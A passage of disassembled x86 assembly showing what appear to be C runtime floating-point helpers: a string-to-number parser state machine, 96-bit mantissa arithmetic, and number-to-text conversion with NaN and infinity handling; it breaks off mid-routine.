; =============== S U B	R O U T	I N E =======================================



sub_420B1D	proc near		; CODE XREF: sub_420BD6+40p
					; sub_420BD6+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B4F
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B4F
		inc	dword ptr [esi+8]


loc_420B4F:				; CODE XREF: sub_420B1D+19j
					; sub_420B1D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420B67
		inc	dword ptr [esi+8]


loc_420B67:				; CODE XREF: sub_420B1D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_420AFC
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_420B1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B7B	proc near		; CODE XREF: sub_420BD6+30p
					; sub_420BD6+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_420B7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BA9	proc near		; CODE XREF: sub_42116E+1C8p
					; sub_421666+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_420BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BD6	proc near		; CODE XREF: sub_420C9D+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_420C4A
		push	edi
		mov	[ebp+arg_8], eax


loc_420BFD:				; CODE XREF: sub_420BD6+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_420B7B
		push	ebx
		call	sub_420B7B
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_420B1D
		push	ebx
		call	sub_420B7B
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_420B1D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_420BFD
		xor	edx, edx
		pop	edi


loc_420C4A:				; CODE XREF: sub_420BD6+21j
					; sub_420BD6+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_420C77
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_420C4A
; ---------------------------------------------------------------------------


loc_420C77:				; CODE XREF: sub_420BD6+77j
		mov	esi, 8000h


loc_420C7C:				; CODE XREF: sub_420BD6+B9j
		test	[ebx+8], esi
		jnz	short loc_420C91
		push	ebx
		call	sub_420B7B
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C91:				; CODE XREF: sub_420BD6+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_420BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420C9D	proc near		; CODE XREF: sub_41FFF8+17p
					; sub_420025+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_420CD8:				; CODE XREF: sub_420C9D+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_420CEE
		cmp	cl, 9
		jz	short loc_420CEE
		cmp	cl, 0Ah
		jz	short loc_420CEE
		cmp	cl, 0Dh
		jnz	short loc_420CF1


loc_420CEE:				; CODE XREF: sub_420C9D+40j
					; sub_420C9D+45j ...
		inc	edi
		jmp	short loc_420CD8
; ---------------------------------------------------------------------------


loc_420CF1:				; CODE XREF: sub_420C9D+4Fj
		push	4
		pop	esi


loc_420CF4:				; CODE XREF: sub_420C9D+AEj
					; sub_420C9D+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_420F77	; default
					; jumptable 00420D00 case 10
		jmp	off_42113E[eax*4] ; switch jump


loc_420D07:				; DATA XREF: .nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 0
		jl	short loc_420D18
		cmp	bl, 39h
		jg	short loc_420D18


loc_420D11:				; CODE XREF: sub_420C9D+C4j
					; sub_420C9D+118j
		push	3
		jmp	loc_420F35
; ---------------------------------------------------------------------------


loc_420D18:				; CODE XREF: sub_420C9D+6Dj
					; sub_420C9D+72j
		cmp	bl, byte_43AD90
		jnz	short loc_420D27


loc_420D20:				; CODE XREF: sub_420C9D+124j
		push	5
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420D27:				; CODE XREF: sub_420C9D+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_420D4D
		dec	eax
		dec	eax
		jz	short loc_420D41
		sub	eax, 3
		jnz	loc_421010
		jmp	loc_420DD0
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420C9D+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_420CF4
; ---------------------------------------------------------------------------


loc_420D4D:				; CODE XREF: sub_420C9D+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_420CF4
; ---------------------------------------------------------------------------


loc_420D56:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 1
		mov	[ebp+var_10], edx
		jl	short loc_420D63
		cmp	bl, 39h
		jle	short loc_420D11


loc_420D63:				; CODE XREF: sub_420C9D+BFj
		cmp	bl, byte_43AD90
		jz	loc_420E2B
		cmp	bl, 2Bh
		jz	short loc_420DA5
		cmp	bl, 2Dh
		jz	short loc_420DA5
		cmp	bl, 30h
		jz	short loc_420DD0


loc_420D7E:				; CODE XREF: sub_420C9D+207j
		cmp	bl, 43h
		jle	loc_421010
		cmp	bl, 45h
		jle	short loc_420D9E
		cmp	bl, 63h
		jle	loc_421010
		cmp	bl, 65h
		jg	loc_421010


loc_420D9E:				; CODE XREF: sub_420C9D+EDj
		push	6
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420DA5:				; CODE XREF: sub_420C9D+D5j
					; sub_420C9D+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_420F6D
; ---------------------------------------------------------------------------


loc_420DAD:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 2
		jl	short loc_420DBB
		cmp	bl, 39h
		jle	loc_420D11


loc_420DBB:				; CODE XREF: sub_420C9D+113j
		cmp	bl, byte_43AD90
		jz	loc_420D20
		cmp	bl, 30h
		jnz	loc_420F85


loc_420DD0:				; CODE XREF: sub_420C9D+9Fj
					; sub_420C9D+DFj
		mov	eax, edx
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		mov	[ebp+var_10], edx ; jumptable 00420D00 case 3


loc_420DDA:				; CODE XREF: sub_420C9D+184j
		cmp	dword_43AD8C, edx
		jle	short loc_420DF3
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420E01
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420C9D+143j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420E01:				; CODE XREF: sub_420C9D+154j
		test	eax, eax
		jz	short loc_420E23
		cmp	[ebp+var_4], 19h
		jnb	short loc_420E1B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_420E1E
; ---------------------------------------------------------------------------


loc_420E1B:				; CODE XREF: sub_420C9D+16Cj
		inc	[ebp+var_8]


loc_420E1E:				; CODE XREF: sub_420C9D+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420DDA
; ---------------------------------------------------------------------------


loc_420E23:				; CODE XREF: sub_420C9D+166j
		cmp	bl, byte_43AD90
		jnz	short loc_420E92


loc_420E2B:				; CODE XREF: sub_420C9D+CCj
		mov	eax, esi
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420E32:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	[ebp+var_4], 0	; jumptable 00420D00 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_420E4B


loc_420E3E:				; CODE XREF: sub_420C9D+1ACj
		cmp	bl, 30h
		jnz	short loc_420E4B
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420E3E
; ---------------------------------------------------------------------------


loc_420E4B:				; CODE XREF: sub_420C9D+19Fj
					; sub_420C9D+1A4j ...
		cmp	dword_43AD8C, edx
		jle	short loc_420E64
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420E72
; ---------------------------------------------------------------------------


loc_420E64:				; CODE XREF: sub_420C9D+1B4j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420E72:				; CODE XREF: sub_420C9D+1C5j
		test	eax, eax
		jz	short loc_420E92
		cmp	[ebp+var_4], 19h
		jnb	short loc_420E8D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_420E8D:				; CODE XREF: sub_420C9D+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420E4B
; ---------------------------------------------------------------------------


loc_420E92:				; CODE XREF: sub_420C9D+18Cj
					; sub_420C9D+1D7j
		cmp	bl, 2Bh
		jz	loc_420DA5
		cmp	bl, 2Dh
		jz	loc_420DA5
		jmp	loc_420D7E
; ---------------------------------------------------------------------------


loc_420EA9:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	dword_43AD8C, edx ; jumptable 00420D00 case 5
		mov	[ebp+var_24], edx
		jle	short loc_420EC5
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_420ED3
; ---------------------------------------------------------------------------


loc_420EC5:				; CODE XREF: sub_420C9D+215j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_420ED3:				; CODE XREF: sub_420C9D+226j
		test	eax, eax
		jz	loc_420F85
		mov	eax, esi
		jmp	short loc_420F36
; ---------------------------------------------------------------------------


loc_420EDF:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		lea	ecx, [edi-2]	; jumptable 00420D00 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_420EEF
		cmp	bl, 39h
		jle	short loc_420F33


loc_420EEF:				; CODE XREF: sub_420C9D+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_420F6B
		dec	eax
		dec	eax
		jz	short loc_420F5F
		sub	eax, 3
		jnz	loc_421013


loc_420F04:				; CODE XREF: sub_420C9D+2A4j
		push	8
		jmp	short loc_420F6D
; ---------------------------------------------------------------------------


loc_420F08:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		mov	[ebp+var_20], edx ; jumptable 00420D00 case 8


loc_420F0B:				; CODE XREF: sub_420C9D+276j
		cmp	bl, 30h
		jnz	short loc_420F15
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420F0B
; ---------------------------------------------------------------------------


loc_420F15:				; CODE XREF: sub_420C9D+271j
		cmp	bl, 31h
		jl	loc_421010
		cmp	bl, 39h
		jg	loc_421010
		jmp	short loc_420F33
; ---------------------------------------------------------------------------


loc_420F29:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	bl, 31h		; jumptable 00420D00 case 7
		jl	short loc_420F3C
		cmp	bl, 39h
		jg	short loc_420F3C


loc_420F33:				; CODE XREF: sub_420C9D+250j
					; sub_420C9D+28Aj
		push	9


loc_420F35:				; CODE XREF: sub_420C9D+76j
		pop	eax


loc_420F36:				; CODE XREF: sub_420C9D+240j
		dec	edi
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F3C:				; CODE XREF: sub_420C9D+28Fj
					; sub_420C9D+294j
		cmp	bl, 30h
		jnz	short loc_420F85
		jmp	short loc_420F04
; ---------------------------------------------------------------------------


loc_420F43:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		cmp	[ebp+arg_18], 0	; jumptable 00420D00 case 11
		jz	short loc_420F73
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_420F6B
		dec	eax
		dec	eax
		jnz	loc_421013


loc_420F5F:				; CODE XREF: sub_420C9D+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F6B:				; CODE XREF: sub_420C9D+258j
					; sub_420C9D+2B8j
		push	7


loc_420F6D:				; CODE XREF: sub_420C9D+85j
					; sub_420C9D+103j ...
		pop	eax
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F73:				; CODE XREF: sub_420C9D+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_420F77:				; CODE XREF: sub_420C9D+5Dj
					; sub_420C9D+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00420D00 case 10
		jz	loc_421015
		jmp	loc_420CF4
; ---------------------------------------------------------------------------


loc_420F85:				; CODE XREF: sub_420C9D+12Dj
					; sub_420C9D+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421015
; ---------------------------------------------------------------------------


loc_420F8D:				; CODE XREF: sub_420C9D+63j
					; DATA XREF: .nsp0:off_42113Eo
		mov	[ebp+var_20], 1	; jumptable 00420D00 case 9
		xor	esi, esi


loc_420F96:				; CODE XREF: sub_420C9D+339j
		cmp	dword_43AD8C, 1
		jle	short loc_420FAE
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_420FBD
; ---------------------------------------------------------------------------


loc_420FAE:				; CODE XREF: sub_420C9D+300j
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420FBD:				; CODE XREF: sub_420C9D+30Fj
		test	eax, eax
		jz	short loc_420FDD
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_420FD8
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420FD8:				; CODE XREF: sub_420C9D+334j
		mov	esi, 1451h


loc_420FDD:				; CODE XREF: sub_420C9D+322j
		mov	[ebp+var_1C], esi


loc_420FE0:				; CODE XREF: sub_420C9D+371j
		cmp	dword_43AD8C, 1
		jle	short loc_420FF8
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41AFFA
		pop	ecx
		pop	ecx
		jmp	short loc_421007
; ---------------------------------------------------------------------------


loc_420FF8:				; CODE XREF: sub_420C9D+34Aj
		mov	ecx, off_43AB80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421007:				; CODE XREF: sub_420C9D+359j
		test	eax, eax
		jz	short loc_421010
		mov	bl, [edi]
		inc	edi
		jmp	short loc_420FE0
; ---------------------------------------------------------------------------


loc_421010:				; CODE XREF: sub_420C9D+99j
					; sub_420C9D+E4j ...
		dec	edi
		jmp	short loc_421015
; ---------------------------------------------------------------------------


loc_421013:				; CODE XREF: sub_420C9D+261j
					; sub_420C9D+2BCj
		mov	edi, ecx


loc_421015:				; CODE XREF: sub_420C9D+2DDj
					; sub_420C9D+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_4210FD
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_421041
		cmp	[ebp+var_45], 5
		jl	short loc_421035
		inc	[ebp+var_45]


loc_421035:				; CODE XREF: sub_420C9D+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_421044
; ---------------------------------------------------------------------------


loc_421041:				; CODE XREF: sub_420C9D+38Dj
		mov	eax, [ebp+var_C]


loc_421044:				; CODE XREF: sub_420C9D+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4210F3


loc_42104E:				; CODE XREF: sub_420C9D+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42105C
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_42104E
; ---------------------------------------------------------------------------


loc_42105C:				; CODE XREF: sub_420C9D+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_420BD6
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_42107B
		neg	eax


loc_42107B:				; CODE XREF: sub_420C9D+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_421086
		add	eax, [ebp+arg_10]


loc_421086:				; CODE XREF: sub_420C9D+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_42108E
		sub	eax, [ebp+arg_14]


loc_42108E:				; CODE XREF: sub_420C9D+3ECj
		cmp	eax, 1450h
		jle	short loc_4210C5
		mov	[ebp+var_2C], 1


loc_42109C:				; CODE XREF: sub_420C9D+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4210A8:				; CODE XREF: sub_420C9D+454j
					; sub_420C9D+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42110E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_421123
; ---------------------------------------------------------------------------


loc_4210C5:				; CODE XREF: sub_420C9D+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4210D5
		mov	[ebp+var_30], 1
		jmp	short loc_42109C
; ---------------------------------------------------------------------------


loc_4210D5:				; CODE XREF: sub_420C9D+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_421886
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4210A8
; ---------------------------------------------------------------------------


loc_4210F3:				; CODE XREF: sub_420C9D+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4210A8
; ---------------------------------------------------------------------------


loc_4210FD:				; CODE XREF: sub_420C9D+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_421123
; ---------------------------------------------------------------------------


loc_42110E:				; CODE XREF: sub_420C9D+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_421123
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_421123:				; CODE XREF: sub_420C9D+426j
					; sub_420C9D+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_420C9D	endp

; ---------------------------------------------------------------------------
off_42113E	dd offset loc_420D07	; DATA XREF: sub_420C9D+63r
		dd offset loc_420D56	; jump table for switch	statement
		dd offset loc_420DAD
		dd offset loc_420DD7
		dd offset loc_420E32
		dd offset loc_420EA9
		dd offset loc_420EDF
		dd offset loc_420F29
		dd offset loc_420F08
		dd offset loc_420F8D
		dd offset loc_420F77
		dd offset loc_420F43

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42116E	proc near		; CODE XREF: sub_4200C9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4211D0
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4211D4
; ---------------------------------------------------------------------------


loc_4211D0:				; CODE XREF: sub_42116E+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4211D4:				; CODE XREF: sub_42116E+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4211FA
		test	edi, edi
		jnz	short loc_4211FA
		cmp	[ebp+arg_0], edi
		jnz	short loc_4211FA


loc_4211E5:				; CODE XREF: sub_42116E+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_4213F8
; ---------------------------------------------------------------------------


loc_4211FA:				; CODE XREF: sub_42116E+6Cj
					; sub_42116E+70j ...
		cmp	dx, si
		jnz	short loc_421279
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421213
		cmp	[ebp+arg_0], 0
		jz	short loc_421222


loc_421213:				; CODE XREF: sub_42116E+9Dj
		test	edi, 40000000h
		jnz	short loc_421222
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421268
; ---------------------------------------------------------------------------


loc_421222:				; CODE XREF: sub_42116E+A3j
					; sub_42116E+ABj
		test	cx, cx
		jz	short loc_42123C
		cmp	edi, 0C0000000h
		jnz	short loc_42123C
		cmp	[ebp+arg_0], 0
		jnz	short loc_421263
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42124B
; ---------------------------------------------------------------------------


loc_42123C:				; CODE XREF: sub_42116E+B7j
					; sub_42116E+BFj
		cmp	edi, eax
		jnz	short loc_421263
		cmp	[ebp+arg_0], 0
		jnz	short loc_421263
		push	offset a1Inf	; "1#INF"


loc_42124B:				; CODE XREF: sub_42116E+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42125A:				; CODE XREF: sub_42116E+109j
		and	[ebp+var_4], 0
		jmp	loc_4213D1
; ---------------------------------------------------------------------------


loc_421263:				; CODE XREF: sub_42116E+C5j
					; sub_42116E+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421268:				; CODE XREF: sub_42116E+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42125A
; ---------------------------------------------------------------------------


loc_421279:				; CODE XREF: sub_42116E+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421886
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_4212DA
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421666
		pop	ecx
		pop	ecx


loc_4212DA:				; CODE XREF: sub_42116E+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_4212F4
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_4212F7
		jmp	loc_4211E5
; ---------------------------------------------------------------------------


loc_4212F4:				; CODE XREF: sub_42116E+173j
		mov	edi, [ebp+arg_C]


loc_4212F7:				; CODE XREF: sub_42116E+17Fj
		cmp	edi, 15h
		jle	short loc_4212FF
		push	15h
		pop	edi


loc_4212FF:				; CODE XREF: sub_42116E+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421315:				; CODE XREF: sub_42116E+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420B7B
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421315
		test	esi, esi
		jge	short loc_42133F
		neg	esi
		and	esi, 0FFh
		jle	short loc_42133F


loc_421332:				; CODE XREF: sub_42116E+1CFj
